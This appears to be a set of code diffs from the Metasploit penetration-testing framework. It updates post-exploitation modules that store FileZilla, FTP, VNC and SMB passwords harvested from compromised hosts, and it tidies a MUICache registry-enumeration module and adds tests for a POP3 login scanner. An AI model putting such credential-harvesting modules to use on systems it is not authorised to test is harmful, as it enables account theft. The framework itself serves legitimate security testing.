:target_host => config['admin_bindip'],
:target_port => config['admin_port']
)
service_data = {
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: config['admin_port'],
service_name: 'filezilla-admin',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: config['admin_pass'],
username: 'admin'
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv,

View File

@ -109,14 +109,34 @@ class Metasploit3 < Msf::Post
else
source_id = nil
end
report_auth_info(
:host => host,
:port => port,
:source_id => source_id,
:source_type => "exploit",
:user => user,
:pass => pass
)
service_data = {
address: host,
port: port,
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: pass,
username: user
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data ={
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
end

View File

@ -8,7 +8,7 @@
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
require 'rex/proto/rfb'
class Metasploit3 < Msf::Post
@ -224,37 +224,79 @@ class Metasploit3 < Msf::Post
e[:port] = 5900
end
print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}")
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
report_auth_info(
:host => session.sock.peerhost,
:sname => 'vnc',
:pass => "#{e[:pass]}",
:port => "#{e[:port]}",
:source_id => source_id,
:source_type => "exploit",
:type => 'password'
)
service_data = {
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: e[:port],
service_name: 'vnc',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Assemble data about the credential objects we will be creating
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: "#{e[:pass]}"
}
# Merge the service data into the credential data
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
access_level: 'interactive',
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
if e[:viewonly_pass] != nil
print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}")
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
report_auth_info(
:host => session.sock.peerhost,
:sname => 'vnc',
:viewonly_pass => "#{e[:viewonly_pass]}",
:port => "#{e[:port]}",
:source_id => source_id,
:source_type => "exploit",
:type => 'password_ro'
)
service_data = {
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: e[:port],
service_name: 'vnc',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Assemble data about the credential objects we will be creating
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: "#{e[:viewonly_pass]}"
}
# Merge the service data into the credential data
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
access_level: 'view_only',
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
}
unload_our_hives(userhives)

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post
'Description' =>
%q{
This module gathers information about the files and file paths that logged on users have
executed on the system. It also will check if the file exists on the system still. This
executed on the system. It also will check if the file still exists on the system. This
information is gathered by using information stored under the MUICache registry key. If
the user is logged in when the module is executed it will collect the MUICache entries
by accessing the registry directly. If the user is not logged in the module will download
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post
username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList"
profile_subkeys = registry_enumkeys(username_reg_path)
if profile_subkeys.blank?
print_error("Unable to access ProfileList registry key. Can't continue.")
print_error("Unable to access ProfileList registry key. Unable to continue.")
return nil
end
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Post
end
user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath")
if user_home_path.blank?
print_error("Unable to read ProfileImagePath from the registry. Can't continue.")
print_error("Unable to read ProfileImagePath from the registry. Unable to continue.")
return nil
end
full_path = user_home_path.strip
@ -94,7 +94,7 @@ class Metasploit3 < Msf::Post
# If the registry_enumvals returns us nothing then we'll know
# that the user is most likely not logged in and we'll need to
# download and process users hive locally.
print_warning("User #{user}: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..")
print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...")
result = process_hive(sys_path, user, muicache, hive_file)
unless result.nil?
result.each { |r|
@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post
# If the registry_enumvals returns us content we'll know that we
# can access the registry directly and thus continue to process
# the content collected from there.
print_status("User #{user}: Enumerating registry..")
print_status("User #{user}: Enumerating registry...")
subkeys.each do |key|
if key[0] != "@" && key != "LangID" && !key.nil?
result = check_file_exists(key, user)
@ -142,11 +142,11 @@ class Metasploit3 < Msf::Post
ntuser_status = file_exist?(hive_path)
unless ntuser_status == true
print_warning("Couldn't locate/download #{user}'s registry hive. Can't proceed.")
print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.")
return nil
end
print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file..")
print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...")
local_hive_copy = Rex::Quickfile.new("jtrtmp")
local_hive_copy.close
begin
@ -166,8 +166,8 @@ class Metasploit3 < Msf::Post
# extracting the contents of the MUICache registry key.
def hive_parser(local_hive_copy, muicache, user)
results = []
print_status("Parsing registry content..")
err_msg = "Error parsing hive. Can't continue."
print_status("Parsing registry content...")
err_msg = "Error parsing hive. Unable to continue."
hive = Rex::Registry::Hive.new(local_hive_copy)
if hive.nil?
print_error(err_msg)
@ -210,7 +210,7 @@ class Metasploit3 < Msf::Post
# - http://forensicartifacts.com/2010/08/registry-muicache/
# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots
def run
print_status("Starting to enumerate MuiCache registry keys..")
print_status("Starting to enumerate MUICache registry keys...")
sys_info = sysinfo['OS']
if sys_info =~/Windows XP/ && is_admin?
@ -219,7 +219,7 @@ class Metasploit3 < Msf::Post
hive_file = "\\NTUSER.DAT"
elsif sys_info =~/Windows 7/ && is_admin?
print_good("Remote system supported: #{sys_info}")
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache"
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache"
hive_file = "\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat"
else
print_error("Unsupported OS or not enough privileges. Unable to continue.")
@ -236,7 +236,7 @@ class Metasploit3 < Msf::Post
"File status",
])
print_status("Phase 1: Searching user names..")
print_status("Phase 1: Searching user names...")
sys_users, sys_paths, sys_sids = find_user_names
if sys_users.blank?
@ -246,16 +246,16 @@ class Metasploit3 < Msf::Post
print_good("Users found: #{sys_users.join(", ")}")
end
print_status("Phase 2: Searching registry hives..")
print_status("Phase 2: Searching registry hives...")
muicache_reg_keys = enum_muicache_paths(sys_sids, muicache)
results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)
results.each { |r| table << r }
print_status("Phase 3: Processing results..")
print_status("Phase 3: Processing results...")
loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information")
print_line("\n" + table.to_s + "\n")
print_status("Results stored in: #{loot}")
print_status("Results stored as: #{loot}")
print_status("Execution finished.")
end

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Post
# Assemble the information about the SMB service for this host
service_data = {
address: session.sock.peerhost,
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: 445,
service_name: 'smb',
protocol: 'tcp',

View File

@ -0,0 +1,82 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/pop3'
describe Metasploit::Framework::LoginScanner::POP3 do
subject(:scanner) { described_class.new }
it_behaves_like 'Metasploit::Framework::LoginScanner::Base'
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
context "#attempt_login" do
let(:pub_blank) do
Metasploit::Framework::LoginScanner::Credential.new(
paired: true,
public: "public",
private: ''
)
end
context "Raised Exceptions" do
it "Rex::ConnectionError should result in status :connection_error" do
expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(:connection_error)
end
it "Timeout::Error should result in status :connection_error" do
expect(scanner).to receive(:connect).and_raise(Timeout::Error)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(:connection_error)
end
it "EOFError should result in status :connection_error" do
expect(scanner).to receive(:connect).and_raise(EOFError)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(:connection_error)
end
end
context "Open Connection" do
let(:sock) {double('socket')}
before(:each) do
sock.stub(:shutdown)
sock.stub(:close)
sock.stub(:closed?)
expect(scanner).to receive(:connect)
scanner.stub(:sock).and_return(sock)
scanner.should_receive(:select).with([sock],nil,nil,0.4)
end
it "Server returns +OK" do
expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK")
expect(sock).to receive(:put).with("USER public\r\n").once.ordered
expect(sock).to receive(:put).with("PASS \r\n").once.ordered
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(:success)
end
it "Server Returns Something Else" do
sock.stub(:get_once).and_return("+ERROR")
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(:failed)
expect(result.proof).to eq("+ERROR")
end
end
end
end